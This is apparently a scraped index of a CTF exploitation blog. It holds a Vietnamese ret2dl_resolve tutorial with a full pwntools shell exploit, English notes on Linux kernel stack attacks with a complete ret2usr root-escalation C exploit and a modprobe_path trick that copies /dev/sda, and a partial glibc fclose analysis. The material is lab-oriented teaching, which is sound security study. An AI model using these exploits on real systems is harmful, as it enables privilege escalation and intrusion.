[{"content":"flag{W3lcom3_T0_mY_bl0g}\n","date":"29 January 2024","externalUrl":null,"permalink":"/blog/","section":"Blog","summary":"flag{W3lcom3_T0_mY_bl0g}\n","title":"Blog","type":"blog"},{"content":"","date":"29 January 2024","externalUrl":null,"permalink":"/tags/kernel/","section":"Tags","summary":"","title":"Kernel","type":"tags"},{"content":"","date":"29 January 2024","externalUrl":null,"permalink":"/tags/overflow/","section":"Tags","summary":"","title":"Overflow","type":"tags"},{"content":"","date":"29 January 2024","externalUrl":null,"permalink":"/tags/pwn/","section":"Tags","summary":"","title":"Pwn","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. Trong một số trường hợp khi ta overflow mà không có các hàm trong PLT thích hợp để leak libc ra thì ret2dl_resolve là một kỹ thuật để lấy được shell. Trong bài này mình sẽ giới thiệu tóm tắt về cách ret2dl_resolve ở glibc 2.37 hoạt động qua một bài demo.\nI. Prerequisites : # Do nếu mình giải thích chi tiết từng dòng code chạy sau thì nó rất rất dài và giống như reinvent the wheel nên các bạn có thể đọc trước ở đây:\nsyst3mfailure - Phân tích chi tiết từng dòng phrack article ở mục 5 - bài original public về kỹ thuật này ricardo2197 - Bài khá hay tóm tắt về nó file binary mình demo II. Overview # Kỹ thuật này lợi dụng việc lazy binding tức quá trình resolve symbol ở runtime không có bound check từ đó ta khiến nó overwrite địa chỉ GOT của một hàm nào đó thành system\nKhi ta gọi hàm read thì những việc sau đây xảy ra :\nNhảy vào .plt của read jmp vào một địa chỉ trong .got.plt. Nếu địa chỉ này chưa resolve thì nó sẽ trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong .plt. Nếu resolve rồi thì thực hiện nó Nếu chưa resolve thì bước này là bước đi resolve Trong quá trình đi resolve nó sẽ push 2 arguments lên stack : linkmap và reloc_arg.\nlinkmap là chỗ chứa các địa chỉ ở bên dưới - ở đây ta không quan tâm về nó reloc_arg dùng để tính offset mà ta cần cực kỳ để ý. Mục tiêu của ret2dl_resolve như sau:\nFake argument reloc_arg Fake 3 chunk STRTAB, SYMTAB,JMPREL Để fake đúng ta cần tính offset chuẩn . 3 chunk ta fake thường nằm ở heap hoặc bss của binary. Đây là địa chỉ mà ta phải có control hoàn toàn. Lưu ý : địa sym và SYMTAB, reloc và JMPREL mà mình đề cập bên dưới là các địa chỉ khác nhau hoàn toàn.\nIII. Details: # a. STRTAB # gef➤ x/10s 0x804822c 0x804822c: \u0026#34;\u0026#34; 0x804822d: \u0026#34;libc.so.6\u0026#34; 0x8048237: \u0026#34;_IO_stdin_used\u0026#34; 0x8048246: \u0026#34;read\u0026#34; 0x804824b: \u0026#34;alarm\u0026#34; 0x8048251: \u0026#34;__libc_start_main\u0026#34; 0x8048263: \u0026#34;__gmon_start__\u0026#34; 0x8048272: \u0026#34;GLIBC_2.0\u0026#34; 0x804827c: \u0026#34;\u0026#34; 0x804827d: \u0026#34;\u0026#34; STRTAB chỉ là nơi chứa strings. Mục tiêu của ta khi fake nó chỉ là ghi system\\x00 (null terminated str) vào một địa chỉ\nb. SYMTAB # Một chunk sym được định nghĩa như sau:\nỞ x64 typedef struct { Elf64_Word\tst_name;\t/* Symbol name (string tbl index) */ unsigned char\tst_info;\t/* Symbol type and binding */ unsigned char st_other;\t/* Symbol visibility */ Elf64_Section\tst_shndx;\t/* Section index */ Elf64_Addr\tst_value;\t/* Symbol value */ Elf64_Xword\tst_size;\t/* Symbol size */ } Elf64_Sym; Ở x32 typedef struct { Elf32_Word\tst_name;\t/* Symbol name (string tbl index) */ Elf32_Addr\tst_value;\t/* Symbol value */ Elf32_Word\tst_size;\t/* Symbol size */ unsigned char\tst_info;\t/* Symbol type and binding */ unsigned char\tst_other;\t/* Symbol visibility */ Elf32_Section\tst_shndx;\t/* Section index */ } Elf32_Sym; Cách mà source tính ra chunk này :\nconst ElfW(Sym) *sym = \u0026amp;symtab[ELFW(R_SYM) (reloc-\u0026gt;r_info)] // which is the same as : const ElfW(Sym) *sym = \u0026amp;symtab[(reloc-\u0026gt;r_info) \u0026gt;\u0026gt; 8] // also the same as : *sym = SYMTAB + index *sizeof(sym) // index = (reloc-\u0026gt;r_info) \u0026gt;\u0026gt; 8 ---------------------------------------------- const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]) --------SYMTAB-------- x64 và x32 chỉ khác mỗi size còn lại tương tự\nỞ đây chúng ta chỉ quan tâm đến st_other và st_name\nst_other : bắt buộc = 0 st_name : chứa offset đến string system mà ta fake c. JMPREL # Một chunk reloc được định nghĩa như sau :\nx32 typedef struct { Elf32_Addr\tr_offset;\t/* Address */ Elf32_Word\tr_info;\t/* Relocation type and symbol index */ } Elf32_Rel; x64 typedef struct { Elf64_Addr\tr_offset;\t/* Address */ Elf64_Xword\tr_info;\t/* Relocation type and symbol index */ } Elf64_Rel; Cách mà source tính ra chunk này:\nconst PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // the same as reloc = JMPREL + reloc_offset // such that reloc_offset = reloc_arg //x32 reloc_offset = reloc_arg *0x18 //x64 III. But howww ??? # a. Basic algorithm (true case) # Trong trường hợp thoả mãn tất cả điều kiện thì nó sẽ resolve bằng thuật toán sau\npush reloc_arg, linkmap get SYMTAB address get STRTAB address get a ptr to ELF32_Rela / ELF64_Rela struct get a ptr to ELF32_Sym / ELF64_Sym struct (base on a ptr in step 4) check r_info ending with 0x7 check st_other == 0 or not do some stuff to check the version get the address from glibc base on STRTAB + st_name b. Observation: # Ta không thể fake SYMTAB, STRTAB , linkmap (hmmm có thể có nhưng kỹ thuật khá khó) Bước 4 tính ptr đó bằng công thức: reloc = JMPREL + reloc_arg Bước 5 tính ptr đó bằng công thức sym = SYMTAB + (r_info \u0026gt;\u0026gt; 8) * sizeof(sym) c. Các bước tính: # Tìm 3 địa chỉ addr1 , addr2 ,addr3 mà chúng ta có quyền control Fake ELF32_Rela / ELF64_Rela addr1 struct reloc_arg = addr1 - JMPREL (x32) reloc_arg = (addr1 - JMPREL) / 24 (x64) r_info = (((addr2 - SYMTAB) / sizeof(sym)) \u0026laquo; 8) | 7 addr1 chunk : [GOT, r_info] Fake ELF32_Sym / ELF64_Sym addr2 struct : st_name = addr3 - STRTAB st_value, st_size, st_info, st_other, st_shndx = 0 write system to addr3 Trong quá trình fake thì các chunk đấy phải nằm đúng một ô nhớ 4 byte hoặc 8 byte ở một địa chỉ -\u0026gt; align khi thấy không phù hợp\nIV. Demo # Đầu tiên ta chạy lệnh này để note lại các giá trị\n$ readelf -d babystack Dynamic section at offset 0xf14 contains 24 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x80482c8 0x0000000d (FINI) 0x80484f4 0x00000019 (INIT_ARRAY) 0x8049f08 0x0000001b (INIT_ARRAYSZ) 4 (bytes) 0x0000001a (FINI_ARRAY) 0x8049f0c 0x0000001c (FINI_ARRAYSZ) 4 (bytes) 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804822c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 80 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x804a000 0x00000002 (PLTRELSZ) 24 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482b0 0x00000011 (REL) 0x80482a8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x8048288 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x804827c 0x00000000 (NULL) 0x0 Note lại\nSYMTAB = 0x080481cc STRTAB = 0x0804822c JMPREL = 0x080482b0 Vào ida thì ta dễ dàng thấy rằng bị bof\nVào gdb thì thấy rằng không có hàm nào thích hợp để giúp ta leak libc -\u0026gt; ret2dl_resolve\nSau một hồi test với binary thì thấy rằng ta cần pivot stack vào bss() do arguments 1 tức reloc_arg cần phải ở đầu stack\nQuá trình pivot stack cũng như làm sau để bof 1 file x32 sẽ không trình bày ở đây\naddr1 = 0x804af00 payload = b\u0026#39;a\u0026#39;*40 + p32(addr1) payload += p32(exe.plt[\u0026#39;read\u0026#39;]) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80) p.send(payload) Trong đó 0x8048455 là gadget leave_ret. Ở đây chúng ta thực hiện ghi 2 lần.\nLần 1 tức payload trên để pivot stack Lần 2 gửi payload ret2dl_resolve lên bss() Payload 2 của mình có dạng sau\naddr1 += 0x14 reloc_args = (addr1 - JMPREL) addr2 = 0x804af1c success(\u0026#34;FAKE ELF32_SYM addr2 : \u0026#34; + hex(addr2)) r_info = (addr2- SYMTAB) // 16 r_info = (r_info \u0026lt;\u0026lt;8) | 0x7 success(\u0026#34;FAKE ELF32_RELA addr1 : \u0026#34; + hex(addr1)) success(\u0026#34;CACULATED reloc_args: \u0026#34; + hex(reloc_args)) success(\u0026#34;r_info : \u0026#34; + hex(r_info)) string = 0x0804af2c - STRTAB Do addr1 sau khi chạy payload 1 đang là rsp nên mình cộng thêm 0x14 tức chỗ để fake ELF32_Rela struct.\nstring trong code trên là st_name fake\nPayload sau khi gửi\nTa có thể thấy là các địa chỉ ta fake nằm trọn trong 1 ô vùng nhớ. Các địa chỉ khác tính như công thức mình đưa ra ở trên .\nChỗ padding này như sau\n0x804af08 là esp tức là reloc_arg 2 địa chỉ tiếp theo là phần padding. Ở đây mình gửi string sh và tiếp theo mình gửi vào 0x804af10 địa chỉ trỏ tới sh. Lý do của việc đó là vì khi ta thực hiện resolve xong thì nó sẽ thực hiện hàm system đấy. Do là x32 nên theo calling convention thì nó expect arguments ở esp+0x8 Ta chạy script thì lấy được shell\nFull script :\nfrom pwn import * import time exe = ELF(\u0026#34;babystack\u0026#34;) p = process(exe.path) SYMTAB = 0x080481cc STRTAB = 0x0804822c JMPREL = 0x080482b0 GOT = 0x804a010 ret = 0x080482d2 addr1 = 0x804af00 payload = b\u0026#39;a\u0026#39;*40 + p32(addr1) payload += p32(exe.plt[\u0026#39;read\u0026#39;]) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80) p.send(payload) time.sleep(1) addr1 += 0x14 reloc_args = (addr1 - JMPREL) success(\u0026#34;FAKE ELF32_RELA addr1 : \u0026#34; + hex(addr1)) success(\u0026#34;CACULATED reloc_args: \u0026#34; + hex(reloc_args)) addr2 = 0x804af1c success(\u0026#34;FAKE ELF32_SYM addr2 : \u0026#34; + hex(addr2)) r_info = (addr2- SYMTAB) // 16 r_info = (r_info \u0026lt;\u0026lt;8) | 0x7 success(\u0026#34;r_info : \u0026#34; + hex(r_info)) string = 0x0804af2c - STRTAB payload = b\u0026#39;a\u0026#39;*4 + p32(0x80482F0) + p32(reloc_args) + b\u0026#39;sh\\x00\\x00\u0026#39;+p32(0x0804af0c) payload += p32(exe.got[\u0026#39;read\u0026#39;]) + p32(r_info)+p32(string)+p32(0)*3+b\u0026#39;system\\x00\u0026#39; p.send(payload) p.interactive() V. References # syst3mfailure phrack article ở mục 5 ricardo2197 ","date":"29 January 2024","externalUrl":null,"permalink":"/blog/ret2dlresolve/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. Trong một số trường hợp khi ta overflow mà không có các hàm trong PLT thích hợp để leak libc ra thì ret2dl_resolve là một kỹ thuật để lấy được shell. Trong bài này mình sẽ giới thiệu tóm tắt về cách ret2dl_resolve ở glibc 2.37 hoạt động qua một bài demo.\n","title":"ret2dl_resolve note","type":"blog"},{"content":" Images not loading? Try accessing this site using a VPN. Mitigations # 1. SMEP # dont allow to execute user space code in qemu, to enable SMEP we use -cpu+smep to disasble it use -append nosmep SMEP is a hardware security mechanism. Setting the 21st bit of the CR4 register enables SMEP. 2. SMAP # kernel space cannot read or write userspace memory to do that we need to use copy_from_user / copy_to_user 3. Kernel Canary # the same as stack canary on user land enabled in the kernel at compile time and cannot be disabled. 4. KASLR # randomizes the base address where the kernel is loaded each time the system is booted It can be enabled/disabled by adding kaslr or nokaslr under -append option. 5. KPTI (Kernel Page-Table Isolation) # prevent Meltdown (side-channel attack) 6. KADR (Kernel Address Display Restriction) # hide kernel address /proc/kallsyms /proc/sys/kernel/kptr_restrict : 0 to disable it Kernel have sus function : run_cmd(char * cmd) : run cmd in userspace as root.\nStack-base technique # 1. ret2usr # This exploit take advantage of kernel space process can see userspace process → execute code in userspace with kernel permission (root)\nRequirements : # SMEP must be off overflow must be possible ability to leak ( at least canary) Ideas: # Overwrite return address of a kernel process to the process we can control in user space\nSteps: # save register state (cs ,ss ,rsp,rflags) in user space escalate privilege before return to user space (commit_creds(prepare_kernel_cred(0)) ) Return to user mode from kernel mode in kernel space + restore register state get shell Details # Save registers state # The process keep track of 2 different states of register in kernel and user mode. Because we want to execute system('/bin/sh') in user mode so we need to restore user mode’s state\nThese states should not random so before an access to kernel space process it must save states.\nunsigned long long user_cs, user_ss, user_rflags, user_sp, user_rip = (unsigned long long)get_shell; void save_state(){ __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;mov user_cs, cs;\u0026#34; \u0026#34;mov user_ss, ss;\u0026#34; \u0026#34;mov user_sp, rsp;\u0026#34; \u0026#34;pushf;\u0026#34; \u0026#34;pop user_rflags;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); puts(\u0026#34;[*] Saved state\u0026#34;); } Escalate privilege + switch to user mode + restore states # To escalate privilege, we simply use commit_creds(prepare_kernel_cred(0))\nTo switch to user mode, to process must use 1 of these :\nsysretq : complicated to setup iretq : commonly use iretq require stack to setup with 5 userland register values in this order: RIP|CS|RFLAGS|SP|SS → the value we save earlier\nfor rip, we need to set it to the get_shell() address to get shell On x86/64, swapgs instruction must be call before iretq\nFinally, we just push the save state register to stack\nunsigned long long user_cs, user_ss, user_rflags, user_sp, user_rip = (unsigned long long)get_shell; void leo_quyen() { __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;movabs rax, 0xffffffff814c67f0;\u0026#34; \u0026#34;xor rdi, rdi;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;mov rdi,rax;\u0026#34; \u0026#34;movabs rax,0xffffffff814c6410;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;swapgs;\u0026#34; \u0026#34;mov r15, user_ss;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_sp;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rflags;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_cs;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rip;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;iretq;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); } 2. Bypass SMEP/SMAP # SMEP mitigation is similar to NX in userland. SMEP enable by enable the 20th bit of CR4 register (start from 0)\na. Overwrite CR4 register # There is an api in kernel native_write_cr4(value)\n→ ROPchain : pop rdi → native_write_cr4() → prepare_kernel_cred() → ….\nWe do that by zero out the 20th bit of CR4 register.\nBut in newer version of kernel , CR4 register cannot be change after boot by using pin. → If we change, it will set to the default boot value\nb. ROPchain # Because we can’t execute code in user space , we can use gadget in kernel space.\nNote that these gadgets from ROPgadget not always works because it don’t known that memory area is executable or not → try and error Also work with SMAP enable\nCan overwrite more that return address # Just build a normal ROP chain to call prepare_kernel_cred()…\nCan overwrite only return address (stack pivot) # Find a gadget that can mov some value to rsp , ex : mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret\nIn user space we mmap a region to build ROP chain.\nThis is possible due to SMAP is disable.\nvoid build_fake_stack(void){ fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|M, -1, 0); unsigned off = 0x1000 / 8; fake_stack[0] = 0xdead; // put something in the first page to prevent fault fake_stack[off++] = 0x0; // dummy r12 fake_stack[off++] = 0x0; // dummy rbp fake_stack[off++] = pop_rdi_ret; ... // the rest of the chain is the same as the last payload } Not work with SMAP\n3. KPTI trampoline (KPTI bypass) # Bypass # 2 way to bypass:\nusing signal handler in userland signal(SIGSEGV, get_shell) KPTI trampoline KPTI trampoline # kernel have a function : swapgs_restore_regs_and_return_to_usermode() to swap kernel page to user page\nit will restore by pop a lots of regs in stack → ret2 swapgs_restore_regs_and_return_to_usermode + 22\nmodprobe is store under modprobe_path symbol in the linux kernel\nIt will invoke when these function is call in userland :\nsystem() execve() … When we call system(’/tmp/cc’) and file signature of cc is unknown it will call modprobe Therefore, we have arbitrary command execution. Note that we don’t need to use commit_creds(prepare_kernel_cred(0)) → shorter ROP\n4. modprobe_path # Exploit kernel vuln to archive ROP in kernel space Find gadget to overwrite modprobe_path in to new_path. Ex : /tmp/cc Return to user space Now we create that file in user space system(\u0026#34;echo \u0026#39;#!/bin/sh\\ncp /dev/sda /tmp/flag\\nchmod 777 /tmp/flag\u0026#39; \u0026gt; /tmp/x\u0026#34;); system(\u0026#34;chmod +x /tmp/x\u0026#34;); system(\u0026#34;echo -ne \u0026#39;\\\\xff\\\\xff\\\\xff\\\\xff\u0026#39; \u0026gt; /tmp/dummy\u0026#34;); system(\u0026#34;chmod +x /tmp/dummy\u0026#34;); Run that file puts(\u0026#34;[*] Run unknown file\u0026#34;); system(\u0026#34;/tmp/dummy\u0026#34;); Debug + DEMO # 1. Debug # First we need to set our kernel to have root → ez to debug (by extract cpio file Second, remove some mitigations (typically in run.sh script provided by the challenge) → reads kernel symbol easier\nInside the qemu script add:\n-gdb tcp::1234 Write a pack.sh script :\n#!/bin/sh gcc -o exp -static exp.c mv ./exp ./root cd ./root find . -print0 \\ | cpio -o --format=newc --null --owner=root \\ | gzip -9 \u0026gt; initramfs.cpio.gz mv ./initramfs.cpio.gz ../ exp.c is the exploit i write in C. ./root is the folder contain file system extract by the provided initramfs.cpio.gz I also write a python script to automate the process of packing and running the kernel + debug\nfrom pwn import * import os def debug(): command = f\u0026#34;\u0026#34;\u0026#34;target remote 127.0.0.1:1234 c ksymaddr-remote-apply c \u0026#34;\u0026#34;\u0026#34; init = f\u0026#34;\u0026#34;\u0026#34;#!/usr/bin/python3 import os os.execve(\u0026#39;/usr/bin/gdb\u0026#39;, [\u0026#39;/usr/bin/gdb\u0026#39;, \u0026#39;-q\u0026#39;, \u0026#39;-x\u0026#39;, \u0026#39;/tmp/QEMU_debug.gdb\u0026#39;], os.environ) \u0026#34;\u0026#34;\u0026#34; with open(\u0026#39;/tmp/run_GDB\u0026#39;,\u0026#39;wt\u0026#39;) as f: f.write(init) with open(\u0026#39;/tmp/QEMU_debug.gdb\u0026#39;, \u0026#39;wt\u0026#39;) as f: f.write(command) os.chmod(\u0026#34;/tmp/run_GDB\u0026#34;,stat.S_IRWXU) os.chmod(\u0026#34;/tmp/QEMU_debug.gdb\u0026#34;,stat.S_IRWXU) if (args.GDB): debug_process = process([\u0026#39;cmd.exe\u0026#39;, \u0026#39;/c\u0026#39;, \u0026#39;start\u0026#39;, \u0026#39;wt.exe\u0026#39;, \u0026#39;-w\u0026#39;, \u0026#39;0\u0026#39;, \u0026#39;split-pane\u0026#39;, \u0026#39;-d\u0026#39;, \u0026#39;.\u0026#39;, \u0026#39;wsl.exe\u0026#39;, \u0026#39;-d\u0026#39;, \u0026#39;Ubuntu\u0026#39;, \u0026#39;bash\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;/tmp/run_GDB\u0026#39;]) def start(): os.system(\u0026#34;./pack.sh\u0026#34;) debug() os.system(\u0026#34;./run.sh\u0026#34;) if __name__==\u0026#34;__main__\u0026#34;: start() 2. Demo ret2usr # Challenge\nwe need to modify the run.sh script\n#!/bin/sh qemu-system-x86_64 \\ -m 128M \\ -cpu kvm64\\ -kernel vmlinuz \\ -initrd initramfs.cpio.gz \\ -snapshot \\ -nographic \\ -monitor /dev/null \\ -no-reboot \\ -append \u0026#34;console=ttyS0 nopti nokaslr quiet panic=1\u0026#34; \\ -gdb tcp::1234 We can read the stack freely on hackme_read\nAnd stack buffer overflow on hackme_write\nBase on this we can see the device name is hackme First we need to open the device\nvoid open_dev() { device_fd = open(device_name,O_RDWR); if (device_fd \u0026lt; 0) { puts(\u0026#34;[!] Cannot open device...\\nExiting...\u0026#34;); exit(-1); } else puts(\u0026#34;[*] Opened device\u0026#34;); } To do ret2usr we must able to ROP -\u0026gt; leak canary\nvoid leak_canary() { unsigned long long leak[4] = {}; read(device_fd,leak,sizeof(leak)); canary = leak[2]; printf(\u0026#34;[*] CANARY : 0x%llx\\n\u0026#34;,canary); } Now we set breakpoint at It copy the what store at rsi to rdi with len 0x20\nAt offset 2 is canary Now we can just find the offset to overflow the save rip in hackme_write Note that smep is off so we can freely run userspace code in kernel space\nvoid leo_quyen() { __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;movabs rax, 0xffffffff814c67f0;\u0026#34; \u0026#34;xor rdi, rdi;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;mov rdi,rax;\u0026#34; \u0026#34;movabs rax,0xffffffff814c6410;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;swapgs;\u0026#34; \u0026#34;mov r15, user_ss;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_sp;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rflags;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_cs;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rip;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;iretq;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); } void overwrite() { unsigned long long payload[21] = {}; for (int i =0;i\u0026lt;=15;i++) payload[i] = 0x6161616161616161; payload[16] = canary ; payload[17] = 0; payload[18] = 0; payload[19] = 0; payload[20] = (unsigned long long )leo_quyen+8; if (write(device_fd,payload,sizeof(payload)) \u0026lt;0) { puts(\u0026#34;[!] Cannot write to device...\\nExiting...\u0026#34;); exit(-1); } else puts(\u0026#34;[*] Write successfully\u0026#34;); } Before run that code we need to save registers state\nvoid save_state() { __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;mov user_cs, cs;\u0026#34; \u0026#34;mov user_ss, ss;\u0026#34; \u0026#34;mov user_sp, rsp;\u0026#34; \u0026#34;pushf;\u0026#34; \u0026#34;pop user_rflags;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); puts(\u0026#34;[*] Saved state\u0026#34;); } Before overflow After overflow Final exp: #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define device_name \u0026#34;/dev/hackme\u0026#34; #define commit_creds 0xffffffffc000016a #define prepare_kernel_cred 0xffffffff814c67f0 int device_fd ; unsigned long long canary; void open_dev() { device_fd = open(device_name,O_RDWR); if (device_fd \u0026lt; 0) { puts(\u0026#34;[!] Cannot open device...\\nExiting...\u0026#34;); exit(-1); } else puts(\u0026#34;[*] Opened device\u0026#34;); } void leak_canary() { unsigned long long leak[4] = {}; read(device_fd,leak,sizeof(leak)); canary = leak[2]; printf(\u0026#34;[*] CANARY : 0x%llx\\n\u0026#34;,canary); } void get_shell() { if (getuid()==0) { puts(\u0026#34;[!] Become ROOT\u0026#34;); system(\u0026#34;/bin/sh\u0026#34;); }else {\tputs(\u0026#34;[*] Something wrong\u0026#34;); exit; } } unsigned long long user_cs, user_ss, user_rflags, user_sp, user_rip = (unsigned long long)get_shell; void leo_quyen() { __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;movabs rax, 0xffffffff814c67f0;\u0026#34; \u0026#34;xor rdi, rdi;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;mov rdi,rax;\u0026#34; \u0026#34;movabs rax,0xffffffff814c6410;\u0026#34; \u0026#34;call rax;\u0026#34; \u0026#34;swapgs;\u0026#34; \u0026#34;mov r15, user_ss;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_sp;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rflags;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_cs;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;mov r15, user_rip;\u0026#34; \u0026#34;push r15;\u0026#34; \u0026#34;iretq;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); } void overwrite() { unsigned long long payload[21] = {}; for (int i =0;i\u0026lt;=15;i++) payload[i] = 0x6161616161616161; payload[16] = canary ; payload[17] = 0; payload[18] = 0; payload[19] = 0; payload[20] = (unsigned long long )leo_quyen+8; if (write(device_fd,payload,sizeof(payload)) \u0026lt;0) { puts(\u0026#34;[!] Cannot write to device...\\nExiting...\u0026#34;); exit(-1); } else puts(\u0026#34;[*] Write successfully\u0026#34;); } void save_state() { __asm__( \u0026#34;.intel_syntax noprefix;\u0026#34; \u0026#34;mov user_cs, cs;\u0026#34; \u0026#34;mov user_ss, ss;\u0026#34; \u0026#34;mov user_sp, rsp;\u0026#34; \u0026#34;pushf;\u0026#34; \u0026#34;pop user_rflags;\u0026#34; \u0026#34;.att_syntax;\u0026#34; ); puts(\u0026#34;[*] Saved state\u0026#34;); } int main() { save_state(); open_dev(); leak_canary(); overwrite(); return 0 ; } References: # https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/ https://github.com/pr0cf5/kernel-exploit-practice/tree/master https://github.com/pr0cf5/kernel-exploit-practice/blob/master/bypass-smap/README.md ","date":"29 January 2024","externalUrl":null,"permalink":"/blog/linuxkernelstack/","section":"Blog","summary":" Images not loading? Try accessing this site using a VPN. Mitigations # 1. SMEP # dont allow to execute user space code in qemu, to enable SMEP we use -cpu+smep to disasble it use -append nosmep SMEP is a hardware security mechanism. Setting the 21st bit of the CR4 register enables SMEP. 2. SMAP # kernel space cannot read or write userspace memory to do that we need to use copy_from_user / copy_to_user 3. Kernel Canary # the same as stack canary on user land enabled in the kernel at compile time and cannot be disabled. 4. KASLR # randomizes the base address where the kernel is loaded each time the system is booted It can be enabled/disabled by adding kaslr or nokaslr under -append option. 5. KPTI (Kernel Page-Table Isolation) # prevent Meltdown (side-channel attack) 6. KADR (Kernel Address Display Restriction) # hide kernel address /proc/kallsyms /proc/sys/kernel/kptr_restrict : 0 to disable it Kernel have sus function : run_cmd(char * cmd) : run cmd in userspace as root.\n","title":"Stack-based exploits in Linux kernel","type":"blog"},{"content":"","date":"29 January 2024","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"29 January 2024","externalUrl":null,"permalink":"/","section":"wh0isthatguy","summary":"","title":"wh0isthatguy","type":"page"},{"content":"","date":"13 October 2023","externalUrl":null,"permalink":"/tags/fsop/","section":"Tags","summary":"","title":"Fsop","type":"tags"},{"content":" Images not loading? Try accessing this site using a VPN. Analysis # 1. fclose # fclose() → __IO_new_fclose\n#define fclose(fp) _IO_new_fclose (fp) src (glibc-2.31)\nint _IO_new_fclose (FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help programs which are using streams in a strange way and mix old and new functions. Detect old streams here. */ if (_IO_vtable_offset (fp) != 0) return _IO_old_fclose (fp); #endif /* First unlink the stream. */ if (fp-\u0026gt;_flags \u0026amp; _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp-\u0026gt;_flags \u0026amp; _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp-\u0026gt;_flags \u0026amp; _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp-\u0026gt;_mode \u0026gt; 0) { /* This stream has a wide orientation. This means we have to free the conversion functions. */ struct _IO_codecvt *cc = fp-\u0026gt;_codecvt; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc-\u0026gt;__cd_in.step); __gconv_release_step (cc-\u0026gt;__cd_out.step); __libc_lock_unlock (__gconv_lock); } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } _IO_deallocate_file (fp); return status; } Control Flow:\ncheck fp through CHECK_FILE(fp, EOF); if detect old streams (vtable available or not) then call _IO_old_fclose if _flag = 0x2000 (_IO_IS_FILEBUF) → call _IO_un_link if _flag = 0x2000 (_IO_IS_FILEBUF) → call `_IO_file_close_it call _IO_FINISH 2. __IO_un_link # scr (glibc-2.31)\nvoid _IO_un_link (struct _IO_FILE_plus *fp) { if (fp-\u0026gt;file._flags \u0026amp; _IO_LINKED) { FILE **f; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); run_fp = (FILE *) fp; _IO_flockfile ((FILE *) fp); #endif if (_IO_list_all == NULL) ; else if (fp == _IO_list_all) _IO_list_all = (struct _IO_FILE_plus *) _IO_list_all-\u0026gt;file._chain; else for (f = \u0026amp;_IO_list_all-\u0026gt;file._chain; *f; f = \u0026amp;(*f)-\u0026gt;_chain) if (*f == (FILE *) fp) { *f = fp-\u0026gt;file._chain; break; } fp-\u0026gt;file._flags \u0026amp;= ~_IO_LINKED; #ifdef _IO_MTSAFE_IO _IO_funlockfile ((FILE *) fp); run_fp = NULL; _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif } } Control Flow:\nif _flags = 0x0080 then doing the below stuff check if fp == _IO_list_all → _IO_list_all point to the next fp in _chain loop from the _chain list starting from _IO_list_all , if found fp then remove it mark the _flag to indicate it 